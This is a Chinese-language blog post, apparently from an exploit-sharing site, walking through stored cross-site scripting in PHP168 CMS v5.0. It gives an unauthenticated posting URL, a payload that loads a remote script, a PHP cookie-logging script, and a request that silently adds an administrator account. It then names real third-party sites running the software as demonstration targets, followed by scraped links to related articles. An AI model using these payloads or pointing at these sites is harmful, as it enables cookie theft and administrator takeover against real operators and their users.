XSS跨站及利用
(一)软件测试环境以及搭建
测试环境:本地 XAMPP 1.7.1
测试软件:PHP168整站v5.0
软件下载地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off对持久型XSS并无没影响) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基础
1、XSS攻击定义
XSS又叫CSS (Cross Site Script) ,简称跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性,实际很多系统都存在XSS漏洞,本文中主要是研究PHP168整站系统中的XSS的利用。
2、如何寻找XSS漏洞
就一般而言,XSS攻击可以分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
3、如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。
(三)XSS跨站利用
1.获取XSS漏洞地址
XSS又叫CSS 全称Cross Site Scripting 跨站脚本攻击。分为持久性,反射型两种。本文演示的是持久性跨站以及简单利用。其实都是站在前人的基础上,感谢那些无私奉献的牛牛。我们安装完php168后,不要登陆,直接打开如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以绕过管理员登陆,直接发表文章,如图1所示。
图1绕过验证直接发帖
说明:
如果是在实际网络上面进行测试,可以使用“php168/member/post.php”作为关键值进行搜索,找到搜索结果后,对结果进行查看,如图2所示,单击其中的“发表”链接进入发表页面。这样获取的Fid才是正确的ID,否则得到的ID打不开页面,如图3所示。在图3中的相应输入框中输入相应的测试值,完毕进行发表,如图4所示,会给出发表后的相应操作,单击查看,可以看到刚才发表的帖子,如图5所示,整个发表过程无须审核和登录。
图2 搜索获取php168发帖地址
图3 直接发表帖子
图4 发表帖子成功
图5 查看发表的帖子
2.测试XSS
在发表帖子页面中选择“源码”模式,然后在内容中加入以下代码:
然后单击发表,我们看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪恶的XSS 出现,如图6所示。
图6找到邪恶的XSS
3.远程包含JS文件攻击
我们远程包含JS文件来攻击,代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样直接发上去是会被过滤掉的,我们转换编码,对于不会转换编码的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接转换。
代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样我们就可以直接编辑我们的xss.js文件来吊管理员Cookie了。当然反射型的更多。其执行效果如图7所示。
图7 XSS读取效果
4.获取Cookie
我们编辑js文件如下:
alert(document.cookie);
返回查看,如图8所示,显示本地的Cookie值。
图8 获取本地Cookie值
当然我们隐藏钓管理员Cookie,并没测试官方。请大牛试试吧。
5.编写代码获取Cookie或者直接添加管理员
编写我们的PHP文件,代码如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理员,代码如下:
location.href="http://127.0.0.1/php168/admin/index.php?lfj=member&action=addmember&postdb%5Busername%5D=menzhi007&postdb%5Bpasswd%5D=menzhi007&postdb%5Bpasswd2%5D=menzhi007&postdb%5Bgroupid%5D=3&postdb%5Bemail%5D=menzhi007@163.com&Submit=%CC%E1%BD%BB";
平时也没什么时间上网,具体大家自己测试吧。官方路径:D:\p8-server\wwwroot\php168_com\
已通知官方修补漏洞了,不要搞破坏(没进入官方挺后悔的)。
(四)实例演示
大家打开官方主页http://www.php168.com/biz/impower.php
商业授权查询,如图9所示。
图9 获取使用php168整站系统的用户
我们随便挑几个,演示站点:
http://www.3cq.org/member/post.php?job=postnew&fid=2
图10演示站点1
演示站点2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
图11演示站点2
XSS跨站及利用的更多相关文章
- xss跨站实例总结
跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.偷取密码.传播恶意代码等攻击行为. 恶意的攻击者将对客户端有危害的代码放到服务器 ...
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- XSS跨站脚步攻击及防范
XSS(Cross Site Script)跨站脚本攻击.它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到侵害用户 ...
- 【php】下载站系统Simple Down v5.5.1 xss跨站漏洞分析
author:zzzhhh 一. 跨站漏洞 利用方法1,直接在搜索框处搜索<script>alert(/xss/)</script>//',再次刷新,跨站语句将被 ...
- 二十五:XSS跨站值原理分类及攻击手法
HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...
- 二十七:XSS跨站之代码及httponly绕过
httponly:如果给某个 cookie 设置了 httpOnly 属性,则无法通过 JS 脚本 读取到该 cookie 的信息,但还Application 中手动修改 cookie,所以只是在一定 ...
- 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置
无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...
- 修复XSS跨站漏洞
XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤. 1.输入与输出 在HTML中,<,>,",',&都有比较特殊的意义.HTML标签,属性就是由这几个符合组成的.P ...
- 可以用到的XSS跨站语句
我们常用的测试XSS跨站的语句一般是alert比如: <script>alert(“sex”)</script> <script>alert(/sex/)</ ...
随机推荐
- linux 命令案例学习——文件搜索
两个搜索文件的工具 locate ——仅仅通过文件名查找文件 find ——依据文件的各种属性在既定目录(包括子目录)里查找 一个通常与文件搜索命令一起使用.处理搜索结果文件列表的命令 xa ...
- [转]C:int型指针
开源中国:http://my.oschina.net/lotte1699/blog/142538 网页快照:http://www.piaocafe.com/295977937/139381567037 ...
- 如何通过图片在 HTTPS 网站中获取 HTTP 接口数据
<script> (function() { var Decode=function(b){var e;e=[];var a=b.width,c=b.height,d=document.c ...
- 基于web工作流开发
目前在研发基于web工作流的开发 什么是工作流? 工作流简言之就是: 1.反应业务流程的计算机化的模型. 2.一类能够完全或者部分自动执行的经营过程:(为了提高效率,实现自动化). 3.任务.活动及活 ...
- 大型web系统架构详解
(如果感觉有帮助,请帮忙点推荐,添加关注,谢谢!你的支持是我不断更新文章的动力.本博客会逐步推出一系列的关于大型网站架构.分布式应用.设计模式.架构模式等方面的系列文章) 动态应用,是相对于网站静态内 ...
- android:screenOrientation的说明 固定屏幕显示方向
Activity在屏幕当中显示的方向.属性值可以是下表中列出的一个值: "unspecified" 默认值,由系统来选择方向.它的使用策略,以及由于选择时特定的上下文环境,可能会因 ...
- linux系统的权限介绍
让我们用t o u c h命令创建一个文件:$ touch myfile现在对该目录使用ls -l命令: 我们已经创建了一个空文件,正如我们所希望的那样,第一个横杠告诉我们该文件是一个普通文件.你将会 ...
- Android Socket 聊天室示例
服务端: package com.test.chatServer; import java.io.IOException; import java.net.ServerSocket; import j ...
- android 分区layout以及虚拟内存布局-小结
摘要 简述启动过程的内存分配,各个映像的烧写,加载,logo的刷新,文件系统mount. DRAM:外部RAM: ISRAM:内部RAM(128K),(PL会跑在ISRAM里面,去初始化DRAM,lo ...
- [POJ3264]Balanced Lineup(RMQ, ST算法)
题目链接:http://poj.org/problem?id=3264 典型RMQ,这道题被我鞭尸了三遍也是醉了…这回用新学的st算法. st算法本身是一个区间dp,利用的性质就是相邻两个区间的最值的 ...